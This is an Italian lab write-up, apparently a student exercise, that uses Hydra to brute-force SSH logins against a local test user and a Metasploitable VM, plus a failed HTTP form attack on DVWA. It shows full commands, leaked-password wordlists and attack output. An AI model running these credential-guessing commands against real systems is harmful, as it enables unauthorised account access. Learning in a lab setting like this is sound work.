

```

(alessio@kali)-[~]
$ sudo adduser test_user
[sudo] password di alessio:
Aggiunta dell'utente «test_user» ...
Aggiunta del nuovo gruppo «test_user» (1002) ...
Adding new user 'test_user' (1002) with group 'test_user (1002)' ...
Creazione della directory home «/home/test_user» ...
Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
Nome completo []:
Stanza n° []:
Numero telefonico di lavoro []:
Numero telefonico di casa []:
Altro []:
Le informazioni sono corrette? [S/n] s
Adding new user 'test_user' to supplemental / extra groups 'users' ...
Aggiunta dell'utente «test_user» al gruppo «users» ...

(alessio@kali)-[~]
$ cd /etc/ssh/sshd_config
cd: non è una directory: /etc/ssh/sshd_config

(alessio@kali)-[~]
$ cd /etc/ssh

(alessio@kali)-[~]
$ ls
moduli      ssh_config.d  sshd_config.d  ssh_host_ecdsa_key.pub  ssh_host_ed25519_key.pub  ssh_host_rsa_key.pub
ssh_config  sshd_config  ssh_host_ecdsa_key  ssh_host_ed25519_key  ssh_host_rsa_key

```

Per testare il tool hydra per prima cosa creiamo un utente test_user con relativa password poi diamo un'occhiata al file con le istruzioni che ci permetteranno di abilitare il demone al protocollo ssh.

```

File Azioni Modifica Visualizza Aiuto
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server

(alessio@kali)-[~]
$ ssh test_user@192.168.50.100
ssh: connect to host 192.168.50.100 port 22: Connection refused

(alessio@kali)-[~]
$ sudo ssh test_user@192.168.50.100
ssh: connect to host 192.168.50.100 port 22: Connection refused

(alessio@kali)-[~]
$ sudo service ssh start

(alessio@kali)-[~]
$ sudo ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:SVZELIUJGGqN4JEpnhLCX5qAD3NCpZqK0+/o6ELv568.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali1 (2023-02-20) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$

```

Con il comando seguente, testiamo il protocollo SSH e riusciamo a stabilire una connessione remota con un altro host tramite riga di comando, che è proprio ciò che il protocollo SSH permette (come si evince dalla foto, dopo aver effettuato il comando mi ritrovo sul terminale del nuovo user).

```

tes (alessio@kali)-[~]
Lin $ hydra -l test_user -p testpass 192.168.50.100 -t 4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

The Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:44:24
ind [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
Kal [DATA] attacking ssh://192.168.50.100:22/
per [22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
$ Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 14:44:25

(alessio@kali)-[~]
$

```

Per testare hydra, nel comando usiamo 'l' e 'p' minuscole mettendo user e password specificatamente corretti, dato che li sappiamo, e vediamo che il risultato e positivo e ci trova la password corretta.

```
Lin (alessio@kali)-[~]
└─$ hydra -l test_user -p testpass1 192.168.50.100 -t 4 ssh
The Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:46:11
Kali [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
per [DATA] attacking ssh://192.168.50.100:22/
1 of 1 target completed, 0 valid password found
└─$ Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 14:46:16
└─$
```

Ora abbiamo fatto la prova mettendo la password sbagliata ed infatti il risultato e negativo, 0 password found.

Ora ci comportiamo come se non sapessimo la password dell utente ma solo il nome user.

Quindi scarichiamo diversi file contenenti tantissime e diverse password (seclists) e procesiamo in questo modo:

```
(alessio@kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l test_user -P bt4-password.txt ssh://192.168.50.100
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:55:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1652903 login tries (l:1/p:1652903), ~103307 tries per task
[DATA] attacking ssh://192.168.50.100:22/

(alessio@kali)-[~]
└─$ cd /usr/share/seclists/Passwords

(alessio@kali)-[/usr/share/seclists/Passwords]
└─$ ls
2020-200_most_used_passwords.txt  darkweb2017-top10.txt  mssql-passwords-nanshou-guardicore.txt  stupid-ones-in-production.txt
500-worst-passwords.txt          days.txt               openwall.net-all.txt                  twitter-banned.txt
500-worst-passwords.txt.bz2      Default-Credentials   PHP-Magic-Hashes.txt                 unknown-azul.txt
BiblePass                      der-postillon.txt     probable-v2-top12000.txt              UserPassCombo-Jay.txt
bt4-password.txt                dutch_common_wordlist.txt  probable-v2-top1575.txt              WiFi-WPA
cirt-default-passwords.txt      dutch_passwordlist.txt  probable-v2-top207.txt               xato-net-10-million-passwords-1000000.txt
citrix.txt                     german_misc.txt        README.md                             xato-net-10-million-passwords-100000.txt
Common-Credentials              Honeypot-Captures     richelieu-french-top20000.txt         xato-net-10-million-passwords-10000.txt
Cracked-Hashes                  Keyboard-Combinations.txt  SCRABBLE-hackerhouse.tgz            xato-net-10-million-passwords-1000.txt
dark0de.txt                     Leaked-Databases       scraped-JWT-secrets.txt              xato-net-10-million-passwords-100.txt
darkweb2017-top10000.txt        Malware                seasons.txt                          xato-net-10-million-passwords-10.txt
darkweb2017-top1000.txt         months.txt             xato-net-10-million-passwords-dup.txt xato-net-10-million-passwords.txt
darkweb2017-top100.txt          Most-Popular-Letter-Passes.txt  Software
```

```
(alessio@kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l test_user -P bt4-password.txt ssh://192.168.50.100
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:55:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1652903 login tries (l:1/p:1652903), ~103307 tries per task
[DATA] attacking ssh://192.168.50.100:22/
```

Dopo aver dato un'occhiata ai diversi file, ne abbiamo scelto uno a caso sperando che la password sia in quel file (ovviamente piu informazione avremmo sull user e piu andremo a scegliere il file con piu possibilita di trovare la password, ad esempio se lo user fosse tedesco useremmo il file 'comon password dutch').

Vediamo che l'attacco e in corso.

```
(alessio@kali)-[~]
└─$ hydra -V -l msfadmin -P passhydra.txt ssh://192.168.50.101
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
```

Le password vediamo che sono tante quindi l'attacco prenderebbe tanto tempo (e conosciamo lo user, pensate se dovessimo fare i tentativi cercando anche di scoprire lo user, e provare tutte queste password per ogni user.)

Per vedere l'output finale allora ho creato un file contenente 20 password a caso e quella giusta, giusto per vedere l'output del comando positivo con più password. Poi ho lanciato un altro comando provando 5 diversi user con 20 password ed ho fatto vedere l'output anche in questo caso:

```
Opt (alessio@kali)-[/usr/share/seclists/Passwords]
- $ cd
- (alessio@kali)-[~]
- $ nano passhydra.txt
- (alessio@kali)-[~]
- $ nano userhydra.txt
- (alessio@kali)-[~]
- $ hydra -V -l test_user -P passhydra.txt ssh://192.168.50.100
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "" - 24 of 25 [child 9] (0/1)
[REDO-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kgregjer" - 25 of 25 [child 5] (1/1)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 15:08:14
```

```
Hyd (alessio@kali)-[~]
lic $ hydra -V -L userhydra.txt -P passhydra.txt ssh://192.168.50.100
htt Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi
Ple ng, these *** ignore laws and ethics anyway).
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 90 of 122 [child 5] (0/2)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sdf" - 91 of 122 [child 6] (0/2)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "srg" - 92 of 122 [child 2] (0/2)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "erg" - 93 of 122 [child 9] (0/2)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "lorenzo" - pass "alessio" - 97 of 122 [child 3] (0/2)
[ATTEMPT] target 192.168.50.100 - login "lorenzo" - pass "ciao" - 98 of 122 [child 15] (0/2)
[ATTEMPT] target 192.168.50.100 - login "lorenzo" - pass "come tai" - 99 of 122 [child 7] (0/2)
[ATTEMPT] target 192.168.50.100 - login "lorenzo" - pass "alal" - 100 of 122 [child 8] (0/2)
```

Ora, dopo aver abilitato la mia macchina linux alle comunicazione ssh con meta, faccio l'attacco su meta con hydra e mi riesce:

```
(alessio@kali)-[~]
$ hydra -V -l msfadmin -P passhydra.txt ssh://192.168.50.101
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

```
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asfsadf" - 16 of 26 [child 15] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kgregjer" - 17 of 32 [child 1] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asdfjjsd" - 18 of 32 [child 2] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kwegkkr" - 19 of 32 [child 4] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 20 of 32 [child 5] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdf" - 21 of 32 [child 3] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "srg" - 22 of 32 [child 6] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "erg" - 23 of 32 [child 0] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "wsdf" - 24 of 32 [child 7] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "werg" - 25 of 32 [child 8] (0/6)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "" - 26 of 32 [child 9] (0/6)
[REDO-ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 27 of 32 [child 9] (1/6)
[22][ssh] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 17:20:13
```

Infine ho provato a crackare la pagina di dvwa login ma ho riscontrato problemi, non ci sono riuscito :

```
hydra -V 192.168.50.101 -l admin -P passhydra.txt http-get-form "/192.168.50.101/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:message=welcome"

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 16:25:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:1/p:25), ~2 tries per task
[DATA] attacking http-get-form://192.168.50.101:80/192.168.50.101/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:message=welcome
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "alessio" - 1 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "ciao" - 2 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "come tai" - 3 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "alal" - 4 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "dsf" - 5 of 25 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "grege" - 6 of 25 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "sdf" - 7 of 25 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "bdfb" - 8 of 25 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "aaa" - 9 of 25 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "ddd" - 10 of 25 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "1234" - 11 of 25 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "ppp" - 12 of 25 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 13 of 25 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "lll" - 14 of 25 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "asfsadf" - 15 of 25 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "kgregjer" - 16 of 25 [child 15] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "asdfjjsd" - 17 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "kwergrkkr" - 18 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "testpass" - 19 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "sdf" - 20 of 25 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "srg" - 21 of 25 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "erg" - 22 of 25 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "wsdf" - 23 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "werg" - 24 of 25 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "" - 25 of 25 [child 8] (0/0)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 16:25:59
```

^